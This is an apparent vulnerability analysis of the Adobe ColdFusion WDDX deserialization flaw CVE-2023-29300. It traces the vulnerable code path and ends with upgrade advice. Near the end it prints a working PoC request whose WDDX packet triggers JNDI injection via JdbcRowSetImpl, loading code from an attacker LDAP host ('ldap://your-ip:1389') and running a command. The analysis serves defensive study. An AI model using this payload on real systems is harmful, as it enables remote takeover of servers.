Vulnerability Analysis|Adobe ColdFusion Deserialization Vulnerability (CVE-2023-29300)

1. Vulnerability description

Adobe ColdFusion is a rapid application development platform from the American company Adobe. The platform includes an integrated development environment and scripting language.

Adobe ColdFusion has a code issue vulnerability. This vulnerability is caused by an untrusted data deserialization vulnerability. An attacker can execute code through the vulnerability, which can cause the server to crash and gain server permissions.

2.Affect version

ColdFusion 2018 <= Update 16

ColdFusion 2021 <= Update 6

ColdFusion 2023 GA Release (2023.0.0.330468)

3. Scope of influence

4.Vulnerability Analysis

First git diff and observed significant changes in coldfusion.wddx.DeserializerWorker.java file.

This is an XML type WDDX packet deserializer. In the startElement method of DeserializerWorker, we notice that the newly added validation is performed via validateWddxFilter() forstruct element.

Various serializers that implement the coldfusion.wddx.WddxObjectSerializer interface can WDDX serialize data, such as StringSerializer, NumberSerializer, BeanSerializer, etc.

Use BeanSerializer to serialize custom Java Beans. During the debugging process, you can also see the default mapping relationship between the object type and the serializer.

Deserialization is implemented by coldfusion.wddx.WddxDeserializer class.

For ColdFusion, each element in WDDX is a WddxElement, and different elements correspond to different Handler processing classes. For example, the elements and attributes in the tag will be processed by StringHandler, and the tag will be processed by StructHandler.

Take a look at the onStartElement() and onEndElement() methods

onStartElement() and onEndElement() are callback methods in the SAX parser (Simple API for XML), which are called when the start and end tags of the XML element are parsed respectively. You can see that the type attribute of the tag will be assigned to the variable m_strictType in the onStartElement() method.

getClassBySignature()

Here, the first and last two characters of the type attribute are cut off, then the remaining string is regarded as the class name, the Class.forName() method is called to load the class, and then its parameterless constructor is called in the onEndElement() method.

Next, there is an obvious Method#invoke() operation in the StructHandler#setBeanProperties() method. The purpose is to call the setter method of the target object and assign a value to the object property that has just been instantiated.

Find ways to pass in serialized payload and trigger deserialization

Follow up coldfusion.filter.FilterUtils#WDDXDeserialize()

Follow up with FilterUtils#GetArgumentCollection()

Analysis of the findAttribute() method shows that the parameter url.xxx indicates that the parameter value of xxx is obtained from the requested URL, and form.yyy indicates that the parameter value of yyy is obtained from the uploaded form.

Continue tracing upwards and finally locate the coldfusion.filter.ComponentFilter#invoke() method.

ComponentFilter is a filter that inherits the FusionFilter abstract class. Since it is related to filters, the first step is to check the web.xml configuration file.

It can be seen that the Servlet that parses the .cfc page is CFCServlet.
Follow up on the getCFFCilterChain() method of CFCServlet

The Filter Chain returned contains exactly ComponentFilter.

It should be noted that PathFilter will check whether the accessed target file exists, so we cannot access a .cfc file that does not exist in the server.

Based on this, try to construct the following data package and follow it all the way to the ComponentFilter#invoke() method:

POST /CFIDE/adminapi/base.cfc HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml + xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 365
Content-Type: application/x-www-form-urlencoded

argumentCollection=*poc*

There is also an if judgment here. If no method parameter is passed in, 302 will be returned in advance, cutting off our attack path.
We can just give the method parameters

In this way, we can skip the if and call the GetArgumentCollection() method to pass the serialized malicious data to the server.

Poc:
Host:your-ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml + xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
cmd:id
 
argumentCollection=
<wddxPacket version='1.0'>
    <header/>
    <data>
        <struct type='xcom.sun.rowset.JdbcRowSetImplx'>
            <var name='dataSourceName'>
                <string>ldap://your-ip:1389/Basic/TomcatEcho</string>
            </var>
            <var name='autoCommit'>
                <boolean value='true'/>
            </var>
        </struct>
    </data>
</wddxPacket>

5. Repair suggestions

Currently, these vulnerabilities have been fixed, and affected users can upgrade to the following versions:

Adobe ColdFusion 2018 >= 2018 Update 17
Adobe ColdFusion 2021 >= 2021 Update 7
Adobe ColdFusion 2023 >= 2023 Update 1

Reference links:
https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html